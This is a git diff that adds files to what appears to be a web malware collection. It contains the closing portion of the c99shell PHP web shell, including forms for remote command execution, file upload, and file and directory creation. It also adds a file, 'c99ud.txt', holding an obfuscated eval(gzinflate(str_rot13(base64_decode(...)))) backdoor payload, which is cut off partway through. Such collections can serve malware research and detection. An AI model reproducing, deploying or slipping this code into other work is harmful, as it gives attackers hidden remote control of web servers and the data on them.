+"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> Captain Crunch Security Team | <a href="http://ccteam.ru"><font color="#FF0000">http://ccteam.ru</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c99shexit(); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c99ud.txt b/web-malware-collection-master/Backdoors/PHP/c99ud.txt new file mode 100755 index 0000000..3172eae --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99ud.txt @@ -0,0 +1 @@ +<? eval(gzinflate(str_rot13(base64_decode('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